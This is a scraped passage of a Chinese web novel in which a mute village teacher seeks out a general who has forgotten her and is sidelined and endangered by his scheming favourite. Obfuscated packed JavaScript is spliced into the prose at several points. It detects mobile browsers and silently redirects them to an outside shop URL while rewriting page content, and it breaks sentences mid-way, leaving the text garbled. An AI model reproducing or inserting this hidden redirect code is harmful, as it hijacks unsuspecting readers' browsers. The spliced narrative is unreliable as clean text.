知道她要去找独孤凤渊,小宋眼里冒出崇拜之色:“原来你和独孤大将军认识啊!他可是京城中所有人都敬仰的人,想见他一面还不容易呢,既然你们认识,我给你带路,正好让我见见大将军!” 出了客栈,有宋府的马车在等着小宋,他催促阿凰上车,自己也紧跟着上来,好像很着急去见自己的偶像。 “出发将军府,驾驾驾!” 22. 联手 马车停在一处府邸前,规模庞大,大门有护卫看守。 小宋先跳下马车,看着阿凰小心翼翼地下来,便带头大摇大摆走向大门,阿凰跟在他身后,抬头看了看匾额上的鎏金字:将军府。 他不仅是将军,也是整个京城敬仰的人,怪不得受仇家所害,身上都是刀剑留下的伤痕,怪不得他说,有不得不离开清水村的理由,他有他的江山社稷要守护。 小宋嚣张的身影被护卫拦在门口,他毫不胆怯,拉了阿凰过来,昂首挺胸说:“知道我们是谁吗?我们可是定西大将军的朋友,快放我们进去。” 时常有人冒充身份来访,有的自称是独孤凤渊的朋友,有的说是远房亲戚,护卫早已习惯了,当下也只是盯着两人,谨慎盘问道:“报上名号来。” 小宋用期待的目光看着阿凰,她想说,问问你家将军记不记得清水村,可是此时没有能写字的东西。 她又想起来,那时独孤凤渊送了她的那枚玉佩,那是她和他之间唯一的信物,此时正好可以派上用场,她正要拿出来,翻遍了身上却怎么都找不到。 护卫一脸“果然如此”,好像早就猜到了结果,驱赶道:“速速离去,闲杂人等休得在此闲游,再不听从,把你们抓起来审问。” 看着护卫手里反光的武器,阿凰不得已扯了扯小宋的衣袖,示意要离开。 直到走出很远阿凰才停下来,捡起树枝在地上写字:我的信物弄丢了,抱歉,让你跟着我去丢人。 一路上小宋都在满头雾水,得知情况,竟也不恼怒,还是选择相信她,要是换作别人,估计已经恼羞成怒,以为她就是个爱慕虚荣的江湖骗子,被拆穿了很丢人。 “信物丢了?这么重要的东西怎么会丢了呢?”小宋道,“你仔细想想是不是落在哪里了,我跟你去找。” 阿凰自己也无法确定玉佩到底在什么地方弄丢了,也许是被追杀的路上,也许是她昏迷期间,也许是还在那个少主手里的时候,她只能祈祷玉佩不要落在少主手里,否则她不敢想象,那么狡猾的人会拿着玉佩去骗独孤凤渊会发生什么事。 她不想把小宋牵扯进这些破事里,只能告诉他自己也不记得了。 而后在他依依不舍的目光中与他道别,说要自己慢慢问路回家。 可是京城实在太大,太过繁华了,阿凰甚至找不到离开京城的路,她又口不能言,打手势别人看不懂,要写字,好不容易被拦下来问路的人又没耐心等她慢慢写字。 举目望去,满目迷茫,这世界那么大,人那么多,阿凰觉得自己很渺小,可是她都那么渺小了,在这个大世界里也没有她的容身之处。 人来人往挤得她头晕目眩,她不小心撞到了一个贵千金,她身旁的侍女正要拿她是问,被贵千金拦下了。 直到被贵千金请进府招待,阿凰吃完精致可口的点心后,喝了一口香醇的茶,感觉这里的一切都像天府一般,看着贵千金面上带着和善的笑容,她心中忐忑。 自从离开村子,遇到的人要么是穷凶极恶的,要么就是热心肠的好人,她不知道贵千金是什么目的,是好是坏。 贵千金原本只是看她可怜,想给她一口吃的,但是听到她说是独自一人来到京城找独孤凤渊的,就改变了主意。 看完阿凰写的内容,贵千金久久未言语,看她喝了茶,像只受惊的兔子一样的神色,贵千金说:“不必紧张,我既然收留了你,就不会害你,你一个人千里迢迢来到这里,属实不容易,我也能理解一个女子独自赴京的不易。” 阿凰起身,学着自己在这里见过的行礼方式向她拜了拜。 “实不相瞒,我就是独孤将军的表妹,独孤槿,你大可以放心住在这里。” 她一愣,看着女子。 身边的下人都被打发出去,屋内只剩她们二人。 独孤槿拿起玉杯赏玩,说:“同时,我也是表哥的联姻对象,我也不怕告诉你,家门落魄后,我不敢确定这门亲事是否还能继续,可为了家族,我不得不维持最后的体面。” 阿凰不明白大户人家的门门道道,只能当个老实的听众。 “你知道吗?表哥回来时带着一个女子,看着恩爱有加,我才意识到,这场联姻岌岌可危,我是家族唯一的体面,我不能输。” 独孤槿握住她的手,一副把她当亲姐妹的模样,说:“你只是想回家,亦或是想回到表哥身边,我都不会干预你,我只希望你能看清局势,我们才是同一边的,我们处于劣势,你若不和我合作,连见到表哥的机会都没有。” 回想起在将军府前吃了闭门羹的场景,阿凰自然明白这个道理。 可她没有夺人所好的癖好,若独孤凤渊有了新欢,两人真心相爱,她会祝福然后远离,慢慢遗忘曾经共处的时光。 退一万步说,她也不认为自己斗得过别人,她甚至连话都说不了。 见她犹豫,独孤槿也不着急,说:“你可以好好考虑,不过,我们的时间可不多了,毕竟表哥看起来那么爱她,等到他们感情深厚,你觉得我们还有机会吗?” 她离去后,阿凰一个人望着窗外,明明这里的一切那么繁华热闹,可是她觉得自己依然不是这个世界的人,她不属于这里。 心中百感交集,她觉得,自己是想家了。 晚上独孤槿请她去同桌吃饭,她想明白了,决定听从安排。 因为目前这是唯一的希望,她只能相信独孤槿,而且,她心里也有话想问独孤凤渊,必须当面,亲自和他说。 独孤槿很是满意,亲自给她夹菜,说:“过两日,我带你去将军府见过表哥,这两天先好好歇着,准备准备。” 阿凰不知道该准备什么,她也没有什么可以准备的,在独孤槿府上住了两日,期间独孤槿一直找她谈话,这天又来找她,一身装扮一看就是精心准备要去见客的。 “走吧。”独孤槿看起来心情很好。 马车内,她与阿凰挨着坐,说:“你不必担心事成之后我会卸磨杀驴,你我二人联手坐稳后宅位置,今后将没有敌人,我们依旧是姐妹,只是,为了家族的体面,我必须是主母,你也会仅次于我之下。” 阿凰不知道什么主母次母的,她只想和独孤凤渊说清楚几句话,然后回清水村。 至于和那位新欢斗?只要不伤天害理,她会听从独孤槿的安排,以此回报她,两不相欠。 很快便又回到将军府前,护卫一看是独孤槿就放行了,看到一边的阿凰,惊讶过后疑惑了会儿。 进了门,小厮去禀报主人来客人了,阿凰跟在独孤槿身后一步的位置,悄悄观察府中的环境,一派贵气。 下人引着她们在会客厅坐下,让她们等候在此。 一盏茶的功夫后,一个身着居家服的男人走来,步履稳健,身躯凛凛,头发束在脑后干净清爽。 经历了这么多磨难之后,终于再度见到他,阿凰一时之间竟无法言语,胸口像堵了一块巨石,她心中有好多委屈想和他哭诉。 可是眼前的男人此刻竟变得有些陌生,他的眼神不再像以前,明明那时的他目不能视,眸中竟也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126066|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能带上温柔与疼爱,可是此时,他看着阿凰,像看到一个漠不相关的过路人,只给了她一个扫视的眼神。 也就因为独孤槿是他表妹,他才拿出一些客套来,说:“你怎么来了,还带了客人?” 察觉到阿凰出神了,独孤槿清了清嗓子提醒她,然后说:“突然来访,还请表哥见谅,这位姑娘是我偶然遇到的,名叫阿凰,说是表哥的朋友,来自清水村,前几日便来到门前求见,被护卫当做闲杂人等赶走了。” 闻言,独孤凤渊回忆起来,前几日是有下属说,府外来了一男一女,自称是他朋友,说不出自己的来头就被护卫赶走了。 他看着阿凰,眯了眯眼睛:“哦?可为何我毫无印象,自己还有这么一位友人?至于清水村,我也从未去过。” “表哥,阿凰口不能言,可以写字交流。”独孤槿说。 独孤凤渊便命人拿来笔墨纸砚,放在阿凰身边的桌子上。 可她提起笔,却发现自己的手在微微发抖,她的大脑也一片空白,明明有很多话想说,却一个字都写不出来了。 一个人,真的可以这么快就忘了自己几个月的经历,忘了朝夕相处的另一个人,完全变成陌生人吗? 为什么能这么轻易地做到呢?竟忘得如此彻底? 为什么不记得…… 阿凰不可置信,觉得他一定是中邪了。 墨水滴在纸上,晕染开一大片漆黑的痕迹。 独孤槿意识到她状态不对劲,有点急了,凑近说:“阿凰?把你想说的话写出来啊。” 迎上独孤凤渊质疑的目光,阿凰提笔写了几个关键字:清水村,笛声,学堂,手心,牛车。 最后,她犹豫片刻,写下最后一个词汇:金萼果。 独孤凤渊看着那几个字,竟也愣住了,好像在大脑深处,似乎有一段缺失的记忆被尘封起来。 可是任凭他怎么回忆都捕捉不到任何记忆,甚至回忆到最后,脑海里出现的是被顾纯儿救下的场景。 为了抚平心中那股烦闷,还有那不可言说的慌乱不定与迷茫,他抓起桌上的纸,撕碎了随意一挥手撒在地上。 “表、表哥?”独孤槿也有点慌了,不敢琢磨他的想法,甚至开始怀疑起自己的决定。 阿凰放下毛笔,收回手继续坐着,这个时候,她居然平静了许多。 也许是破罐子破摔的心态吧,反正他也不记得了,她已经尽力了,再没有别的办法了,唯一的玉佩还找不到了。 她还想质问:你真的不记得了吗?真的一丝一毫的回忆都没有了吗? 可是她突然觉得,事到如今,一切都是无用功,他的眼神那么冷漠,再也不是那个人了,她好像在与他分开的这段时间里,把他弄丢了,随着那枚玉佩的丢失彻底失去了他。 独孤槿见气氛如此怪异,出声打破沉静:“表哥,我知道你贵人多忘事,不过你再想想……” “不必了。”独孤凤渊打断了她,“既然你们如此确定,那就留下来吧,也许日子久了,我慢慢就会想起来。” 目的达成,独孤槿以微笑掩盖喜悦,而阿凰只是低着头,好像没什么反应。 独孤凤渊只觉得这又是一个江湖骗子,人在高位,这样的事见多了。 一方面,他本就抗拒和独孤槿的联姻,早就想解开,自从顾纯儿来了之后,他就更想推脱这门亲事,若不是父母之命…… 既然这个阿凰是独孤槿送来的,他断定了是故意安插过来的,倒要看看她们想耍什么把戏,暂且留下观察。 23. 排挤 这是阿凰住在将军府的第七天。 这七天里,除了来给她送饭的仆人们,还有几个看守她的,她谁也见不到,她的活动范围只有自己的住处,她想了想,自己好像被幽禁了。 自从把她留在府中,独孤凤渊好像就忘了她这个人,至于那位小医仙,她至今也还没见过一面。 而独孤槿是一个很注重名声和体面的人,还未正式婚嫁,她只能时不时过来串门,并不住在将军府,可是这七天阿凰也没见到她,不知是不是被拦下了。 “那个丑女怎么还赖着不走?我还是第一次见到这么大的胎记长在人脸上。”说话的人声音中是抑制不住的笑意。 “你小声点,别被她听到了,毕竟也是将军的客人。” “听到了又怎样?那个哑巴也没法告状,还客人?你看这么久将军来看过她一次吗?估计又是哪来的落魄远房亲戚,将军不好赶走,只能留下了。” “落魄远方亲戚这句你少说点,表小姐可是将军的联姻对象,未来的夫人,被有心人听了去,等表小姐入府有你受的。” “得了吧,她多半也是个空架子,这么久以来将军见她的次数屈指可数,更别提现在来了个顾姑娘,她们两个人加起来都没有顾姑娘一根手指头厉害,还不如趁着她和将军恩爱,赶紧讨好她。” 直到那两个人走远了,阿凰还站在原地。 是啊,她就是个哑巴,还长得丑,怎么敢高攀堂堂定西大将军呢?他身边随便挑出一个女人都比她厉害,那位小医仙顾姑娘,虽还没见面,阿凰听着这些人的话,耳濡目染,脑海里已经绘制出一个悬壶济世的仙女。 不知不觉阿凰又走到门口,旁边看门的丫鬟拦住她的去路,语气没有任何感情色彩:“姑娘,将军吩咐让你好好待在院子里,还请不要为难奴婢。” 她只是想走走,什么也没做,并没有要为难任何人的意思,上一次被告知没事别乱走之后,她就自觉地在自己的住处逛。 阿凰转身回去,却听到后面传来了丫鬟们谈论的声音。 “真麻烦,不会说话就老老实实呆着,总是乱跑干什么?又没人看得懂她在比划什么,还得严加看管,跟防贼似的。” 另一个也说:“还真说不定是个贼呢,否则怎么要看这么紧?反观顾姑娘,一来府里就享受女主人的待遇,将军的心思还不够明显吗?这哑巴还能待下去,也是个能人。” “无非就是爱慕虚荣,看她那寒酸样,来了府里见到这么多好东西,哪里还舍得走?不会还妄想着当上将军夫人的美梦吧?” 她们的声音越来越高,肆无忌惮,好像故意要让阿凰听到似的,她不是泥人,也是有脾气和自尊的,无故被人这么口诛笔伐,不知道的以为她真的杀人放火了。 她想骂人甚至都骂不了。 愤怒和屈辱过后就是委屈,为什么在这些人嘴里,她成了一个爱慕虚荣不要脸的人?现在的她和囚犯有什么区别?明明什么也没享受,却要背负骂名。 可是在清水村,她也是个受人敬爱的教书先生啊。 院子外的假山后面,一个女子看着这一切,面无表情地离开,兜兜转转后走到了顾纯儿面前,与她耳语几句。 “姑娘,要去看看吗?”女子机械地动唇说话,竟是之前的蝴蝶精,装扮成了顾纯儿的贴身丫鬟。 顾纯儿正在查看书信,看起来心情不错,嘴角勾着笑,声音甜美,说话却是天真的残忍:“暂时不用,你们再接再厉,切记不可操之过急,毕竟,兔子急了也是会咬人的。” 忽然听到外面的脚步声,她迅速把书信都收起来,独孤凤渊刚走到门口就看到她未掩盖干净的慌乱。 “你来啦。”顾纯儿主动迎上来,面色如常,撒娇地抱住他的手臂,“我听说府里来了个客人,怎么不告诉我?我也想见见。” 独孤凤渊宠溺地看着她,忽略刚才的不对劲,说:“随你,只是那人不能言语,沟通困难,你乐意就去吧。” “嗯嗯!”顾纯儿靠着他的胸膛,声音甜蜜,在他看不见的角度,她眼中毫无笑意。 沉默片刻,独孤凤渊试探着问:“知道我留了陌生女人在府中,不告诉你,你会吃醋吗?” “唔……”她思考着拉长了尾音,“我会为了你学着做一个大度的女人。” 闻言,独孤凤渊感觉心中都软了一角,抱紧她:“你真的很好,遇到你是我三生有幸。” …… 日光正好,阿凰坐在屋檐下发呆。 这处院子说大也不大,她一整天都没事做,就到处乱走,早就把这里摸透了,又变得无聊了。 她想写写字,想画画解闷,可是她不被允许碰到纸笔,就连她的笛子也早就找不到了。 “有人吗?” 甜美的少女声音带着探究,阿凰看去,见到一个女孩探头探脑的,见了她,少女小跑过来,蹦蹦跳跳的,动若脱兔。 阿凰下意识站起来,她知道,在这里任何一个人的地位都比她高,她惹不起。 “我叫顾纯儿,你是?” 这就是顾纯儿?那位小医仙?仆人们天天挂在嘴里天仙一般的顾姑娘? 面前的少女虽是普通人的长相,可她身上的衣装一看就是最好的料子,非富即贵。 阿凰低头在地上找点能写字的石子,终于看到一颗,便写了自己的名字。 “你不会说话呀?没关系,我说就好了,不过你会写字啊,这里没有纸和笔给你用吗?” 阿凰点头。 “那我去找一些给你用!” 还不等阿凰反应,顾纯儿飞快跑出去,很快就回来了,把笔墨纸砚带齐全送给她。 她连连点头,用口型说谢谢,她自己闷在这里都要闷死了,感觉用不了多久就要疯掉,顾纯儿这时候带了纸笔来,无疑是雪中送炭。 看着她激动的样子,顾纯儿笑说:“不必客气,以后有什么需要的找我就好啦!” 阿凰写字表达谢意,顾纯儿夸赞:“你的字真好看啊。” 她怕有上顿没下顿,格外珍惜这些纸笔,不舍得再用了。 顾纯儿似乎没发现,说:“你自己呆在这里不无聊吗?她们都不敢和我玩,说我是客人,你也是客人,正好我们一起玩吧。” 阿凰想说自己不能离开院子,却已经被顾纯儿拉着手跑出去,竟然没有人拦着。 有地位真好啊。 她想起来之前仆人说的话,心里对顾纯儿的印象更深刻了,不仅话语权很高,为人还特别开朗和善。 自从有了这一天,后来顾纯儿就经常来找阿凰玩,渐渐的,看人下菜碟的仆人开始看守得不那么紧了,阿凰甚至可以自己出院子玩了。 只是她的纸笔很快就用完了,她不好意思跟顾纯儿提,对方也没发现,不过现在她也不需要写字作画打发时间了。 可是过了几日顾纯儿都没来找阿凰玩,她惴惴不安,是自己不小心惹她不高兴了,还是她太忙了? 等了两天,阿凰决定去看看她。 去往顾纯儿院子的路上,竟没看到有什么人,她也很顺利地一直往里走。 忽然听到一声惊喜的声音,少女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后来发生了什么阿凰不知道,也不想知道,她已经逃离现场,整个人大脑都是空白的,早已无法思考,唯一的知觉就是心口好闷,喉咙也闷,酸涩发哑。 她突然有点庆幸,自己是个哑巴,否则那种场景不小心哭出来,被发现就糟了。 她就像偷了东西的小偷,怕被人逮住似的一直逃,跑了好远。 他真的忘了,彻底忘了她,忘了曾经的一切,他眼里只有顾纯儿。 清水村那几个月好像只是她的一场美梦,醒来后只有她一个人知道,显得像个笑话。 她想告诉独孤槿,她们没有任何一点胜算,要不就算了吧,让她回到村子里吧,她真的没有一点办法,她不知道该怎么办,她一点也不想留在这里。 她头一次想做一个背弃承诺的人,放弃和独孤槿合作,不想回报答应她的事了。 阿凰原本觉得,只要她独处,什么都看不到,就不会那么痛苦了,给她一点时间调理心态,放过自己,可是第二天,顾纯儿照常来找她。 还摘了一朵湖里的花。 “湖里新开的花长得不错,很香呢,女孩子都是爱花的,所以我想你应该也喜欢,就摘了一朵带来给你。”顾纯儿伸出手,花儿躺在她手心,已经有点蔫儿了。 花儿只有生长在原本的地方才能热烈绽放,一旦摘下来,很快就会失去活力。 阿凰忽然觉得,自己的生命也和这朵花一样,在清水村就轻松自在,一旦离开村子,来到人生地不熟的京城,就再也开心不起来,这段时间里,她几乎没有几天是放松的。 也许,很快她会就和这朵花一样,闷闷不乐,郁郁而终吧。 “阿凰?”顾纯儿疑惑地唤她。 阿凰伸手接过花朵,捏了捏已经皱巴的花瓣,勉强扯出来一丝笑容,用口型说:谢谢。 顾纯儿一点也没察觉她的情绪低落,笑靥如花:“我就知道你一定会喜欢,既然你很喜欢,没事可以去我那边亲自看,它开在湖里的样子极美。” 阿凰此时没心思应付她,只是点点头。 24. 悲喜交加 不知是不是顾纯儿的作用,阿凰现在行动自由了许多,独自出门也没人阻止。 她漫无目的地走在人群中,产生了迫切想离开这里的想法,哪怕回不到清水村也可以,只要能离开这里,甚至不想管和独孤槿的约定了。 “阿凰!”有人在身后喊,然后跳到她面前,是好一段时间不见的小宋。 他惊喜又疑惑:“你不是要自己问路回家吗?怎么还在这里?” 阿凰张了张嘴,他说:“我知道我知道,先去找个地方坐坐,给你纸笔。” 来到一家酒楼,这里的客流量显然没有四季酒楼多,规模中等,不过分吵闹,正好。 台上的戏班子正在咿咿呀呀地表演,阿凰此时无心观看,写了字与小宋大概说了一下,许多细节并不明说,所以他也只知道她被好心人收留了。 讲了没几句话,小宋就要离开了,说是父亲喊他回去,否则会挨揍的。 又剩下阿凰自己一个人,她原本也是出来散心的,看着戏班子,很快就被内容吸引住,这是一个丈夫薄情,从没发现妻子不易,甚至为了拉拢帮手与别的女人往来的故事,想回头妻子已然和离归家。 何必呢?早知如此何必当初。 “可这世上,又有多少女子能够做到与丈夫和离潇洒离去的……” 另一边传来极小声的声音,听着像是自言自语,阿凰看去,一个女子同样独自坐在桌边,状态极其萎靡。 这里的人本就不多,戏演完了人们渐渐走得差不多了,就剩阿凰和那个女子。 她莫名地好奇起来,看着那个女子,对方开始自斟自饮,她怕她一个人喝醉了在这里不太安全,就继续坐着看着她。 良久,女子抬起头来,脸上有未干的泪痕,她发现了还有另外一个人,看了过来。 “你喝酒吗?” 阿凰摇摇头。 “方才的戏好看吗?” 阿凰犹豫,故事无疑是令人感同身受的,可是太悲伤了。 “那是我点的戏。”女子又说。 阿凰不知道该说什么,女子看起来太悲伤了,再结合她点的戏,一定是有不容易的故事吧,所以才独自在此买醉。 “你有没有想看的戏,想吃的东西,我请你。”女子醉醺醺的,撑着脑袋靠在桌子上,阿凰怕她摔了,走到她身边,写字安慰她。 “你也是个苦命人,何必安慰我呢?”女子自嘲地笑了笑,“我觉得自己命苦,可这世上比我苦的人那么多,我有什么好哭的?不许哭!” 阿凰写:每个人都有自己的苦,苦难不值得比较,不会因为谁更苦,没那么苦的人就不苦了。 女子又笑了,这次是发自内心的笑:“你倒看得通透,你叫什么名字?” 看到她写的字,女子说:“我叫徐子岑,你是不是在好奇为何我一个女子独自在这里看戏买醉?呵,别人都羡慕我嫁了一个好丈夫,赚那么多钱的同时还能顾家,我原本也以为我会一直这么幸福下去。” 她倒了杯酒,并不立刻喝,拿在手中观赏:“直到他经常与一女子来往,说为了生意往来,让我别多想,别人也都劝我懂事,不要无理取闹……换作你,你会开心吗?” 阿凰不知如何应答,徐子岑也没有要从她嘴里得到满意的答案,只是想发泄情绪,继续说自己的事,阿凰便当起一个合格的倾听者。 直到过了很久,徐子岑要走了,一起身歪歪扭扭的,阿凰只能扶着她走,好在她还清醒,可以指路回家。 走到一半,徐子岑突然停下来,看着不远处,阿凰随着她的视线看去,只见一男一女举止亲昵,仿佛他们才是夫妻一般,男子笑得开心明朗,对女子言听计从,像个讨人开心的开心果,而女子看起来很满足身边人的吹捧,活脱脱一个娇蛮大小姐。 两个女孩同时愣住了,阿凰看着那女子,不就是顾纯儿吗?她为何在外面与别的男人走得近,她知道那个男人有家室了吗?难道她和独孤凤渊闹脾气了? 而一看徐子岑的反应,阿凰再傻也明白了,那个男子就是她的丈夫。 她手忙脚乱地帮徐子岑擦眼泪,可是泪水好像无穷无尽,她怎么也擦不干净,此时她又焦急了,如果她会说话该有多好,就可以好好劝这个心碎的女子,不要再哭了,就连她看了也跟着心痛。 她想带徐子岑离开,眼不见心不烦,可是徐子岑死死抓住她的手腕,咬牙切齿盯着那对男女,眼泪一颗一颗掉下来。 “明明我才是他的妻子,为什么我要沦落到嫉妒一个外来女子?” 听着徐子岑的哭腔,阿凰很是慌乱。 那边的人一直没发现她们,许久之后才分开,许萧然穿过人群,走着走着终于看到了徐子岑,走过来。 直到他走到跟前,阿凰才发现徐子岑已经冷静下来,也终于不流泪了,只是脸上布满泪痕,眼眶通红。 “你又在哭什么?”许萧然闻到一股酒气,不悦皱眉,“你怎么喝了那么多酒?走,先回家。” 徐子岑甩开他的手,吸了吸鼻子,自己扭头走了,许萧然也匆匆向阿凰道谢离去。 看着女孩的背影,孤独而坚强,始终不理会身后的男子,阿凰想告诉她,好像也在告诉自己: 不要再哭了,他看不到你的眼泪。 再次出门又碰见了徐子岑,她又是一个人,阿凰被她邀请去玩乐,感觉没那么闷了,之后徐子岑便每日主动在将军府附近等她,而她也乐意看到徐子岑走出悲伤的情绪。 她觉得缘分二字真是神奇,让两个陌生人快速达成共鸣,相见恨晚。 而许萧然也每次都来接徐子岑,两个人的关系似乎缓解许多。 阿凰想起了在村子里,每次有小两口吵架,邻里劝和的时候总说的那句话:床头吵架床尾和。 小宋总是神出鬼没的,阿凰早就习惯了,孩童一样的性格,很快就融入他们三个人之中。 渐渐的入了秋,阿凰想去备两件秋衣,打算约上徐子岑,两个女孩子一起挑衣服。 可等她到了约定好的地方,那里等着的几个人让她一愣。 顾纯儿赫然位于徐子岑三个人中间。 阿凰只是不解,为什么明明约好了就她们两个人去玩,却多出别的人? 更令她疑惑的是,这几个人什么时候看起来关系这么好了?就好像她自己失去了一段记忆,好像在短短的时间里,她被丢出队伍,她的好朋友们加入了新的队伍。 “阿凰,你来啦,我们等你好久咯。”顾纯儿嗓音甜美地打招呼,阿凰却头一次感觉有一股莫名的恐惧。 就好像,自己的一切都在别人的掌控之中,一举一动都被人监视着。 一整天阿凰都心不在焉,她真的很不明白,难道是自己太小心眼了吗?难道是她真的没见过世面所以想不通?这些大户人家的人,真的可以为了利益和任何人和平相处吗? 尤其是徐子岑,在此之前发生了那样的事,她甚至看着要恨透了顾纯儿,可是此时此刻,她好像失去了那一段记忆,和顾纯儿就像亲姐妹一般。 接下来的日子里,他们几乎每日都要约好一同游玩,阿凰有点不想去的,可是顾纯儿说好朋友就要一起玩,一个也不能少,另外三个就更要劝她了,甚至私下说,不许她辜负顾纯儿的好意。 同时让阿凰有点意外的是,小宋这个看起来像半大的毛孩子一样的性子,竟也会单独把顾纯儿约出去,请她看花灯,带她去最高的阁楼上看千灯升空的壮观景象。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126068|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阿凰原本不知道这些事,是顾纯儿找到她诉说苦恼,说想拒绝小宋,可是她不好意思开口,也不想伤了朋友之间的感情,想让阿凰帮她拒绝。 她不想拒绝顾纯儿,可也不想伤小宋的心,顾纯儿第一次请求的时候,她硬着头皮代替她去了,她清楚的记得小宋那时的表情,看到来的是她,惊讶伴随着疑惑,而后恢复勉强的笑容。 气氛有点尴尬,阿凰想走,小宋却露出要哭了的表情,诉说他被拒绝了有多心碎。 她转告顾纯儿,后来就没再被要求代替她去,因为顾纯儿她自己去了。 忽然想起,她已经很久没有单独见到小宋了,他再没有像之前那样神出鬼没,突然冒出来找她,倾听她的苦恼,只有大家聚在一起的时候才能看到他。 有好多次,阿凰都被落在人群后面,走着走着,会莫名被挤在最边缘,她也毫无怨言,只是默默跟上大家。 彻夜难眠时,她才发现,自己好像有点孤立无援。 这些日子发生的一切,夜月姬看在眼里急在心里,很多时候她多么想跳出来让阿凰清醒一些,可是她也一样,在这镜中世界她什么都做不了。 只能看着阿凰历经磨难,受人欺负,被排挤,被误解,一次次的心碎,每一次上天给她一丝希望之后却又迎来更沉重的苦楚。 夜月姬想告诉阿凰顾纯儿的真面目,别人看不出来,她一梳理就知道顾纯儿是什么想法了,她想解开阿凰与独孤凤渊这头山猪之间的误会,真实世界中他们看不清彼此的心,可在镜中世界,她希望阿凰能短暂地得到她想要的。 几个人约好了泛舟湖上,每一叶小舟只能乘坐两个人,可是每个人都想和顾纯儿一起,阿凰便提出自己在湖边等着就行,正好他们四人租两舟。 她一个人就不用了,也免得白费钱财。 顾纯儿却要和她一起,牵着她的手一起乘上一叶小舟,小宋委屈巴巴的到湖边的亭子里等,反正没机会很顾纯儿一起,对他来说就没了意义,剩下的许萧然和徐子岑同一条船正好。 徐子岑那边自然是许萧然划舟,而阿凰想自告奋勇,不知为何潜意识里也害怕麻烦顾纯儿,可她从来没划过船,顾纯儿也很坚决想亲自划舟。 同湖游玩,一开始离得近,四人还一边乘舟一边聊天,可是渐渐的,阿凰发现两叶小舟怎么离得越来越远了?她们这边好像不受控制似的往远处飘走。 “阿凰,你有没有感觉水里有东西?”顾纯儿惊恐道,“好像……就在我们舟下……” 阿凰不知这世上是否有鬼神,也从未见过,此刻听顾纯儿这么说,不免也害怕起来,下意识想低头去看,被顾纯儿制止道:“别看!别被它发现了,我们悄悄的……摆脱它。” 她看着顾纯儿的背影,女孩在前头奋力划舟,她什么办法也没有,只能在心里给顾纯儿祈祷。 好不容易靠近了岸边,希望就在眼前,小舟却左摇右摆,好像水里的东西在发力,想把船上的人晃下去,顾纯儿吓得尖叫出声,可阿凰连救命都喊不出来。 事情发生得太突然,几乎就在一瞬间,阿凰就被甩下去,落进水中,与此同时顾纯儿也跟着掉下水。 无数冰冷的湖水涌上来,求生意识让阿凰手脚并用挣扎着,可是湖底无边的黑暗在将她吞没,似乎有一双无形的手在用力把她向下拉去,她头晕目眩,很快就感受到致命的窒息在扼住自己的喉咙。 彻底失去意识之前,她心里想的还是,她没保护好顾纯儿,害得她也落进水里,她好无力,什么也做不了,独孤凤渊一定会恨死她了,一定会对顾纯儿很心痛的吧。 可是她也不想死的,就算是死,她想落叶归根,想回到清水村,想被安葬在金灿灿的油菜花之中。 25. 他的婚礼 阿凰不知道自己昏迷了多久,不过她还有意识,知道自己好歹还活着,只是怎么也睁不开眼,身体如灌铅般沉重。 脑子醒了,身体还沉睡着。 偶尔她也会清醒过来,不过只能听到一些声音,身体不受大脑控制,浑身动弹不得,也看不见东西,或者说她根本就睁不开眼,除此之外大多数时候还是陷入沉睡。 听说这期间独孤凤渊来看过她,得知出事的第一时间,他竟也担忧过她。 不知为何,阿凰心中很复杂。 听说顾纯儿伤得比她还严重,双眼留下了后遗症,一见光就会流泪。 独孤凤渊再度来到她面前,只不过这一次是打算掐死她,好在顾纯儿派人来阻止他。 听着听着,阿凰突然想,自己什么时候咽气了估计也没人知道吧,反正现在的她跟路边一根枯萎的杂草差不多,没有人记得她,没有人会管她是生是死,她的死不会改变什么,也不会引起任何人的注意。 原本她也是有朋友的,可是那些朋友轻而易举就离去了,和她相见恨晚的朋友们迅速成了顾纯儿的朋友,她又被一个人落下了,就像受到了排挤一般,然而无人在意。 浑浑噩噩中她好像又回到了清水村,耳边是孩子们念字的声音,大家对她的称呼,有的是阿凰妹子,有的是阿凰姐姐,有的是师父,而不是“那个哑巴”。 有时候,她能感受到有人强硬地掰开她的嘴,把苦涩的药水倒进嘴里,被喂了药,接下来一整天她就会再度陷入沉睡。 …… “姑娘,该喝药了。” 蝴蝶精端着一碗汤药进来,依旧是一副躯体失去了魂魄空洞洞的模样。 顾纯儿拿着碗,满不在意地将药水倒在花盆里,蝴蝶精看着独孤凤渊亲自煎的药被倒掉,什么也没说,还是木讷呆滞的样子。 “用来养花最好不过了。” 她不需要独孤凤渊给她的药,这些凡品只配用来浇花,她堂堂药宗最受宠的小师妹,只是咳嗽一声,就有一堆人把全天下最好的药材呈上来。 “阿凰怎么样了?” 蝴蝶精说:“还是昏迷不醒。” “那真是太可惜了。” 如果阿凰永远死了,就没人能知道那天落水的意外是她故意为之,不过……她一个哑巴又能怎么样呢? 一开始顾纯儿就知道了阿凰的底细,也知道她会写字,怕她说出一切,唤醒独孤凤渊的记忆,她就前功尽弃了,于是她不允许阿凰能碰到纸笔,没想到独孤凤渊一点也不管阿凰那边的事,她便对阿凰放松警惕,怕把人逼得太紧容易出破绽,她好像高估了阿凰在独孤凤渊心中的位置。 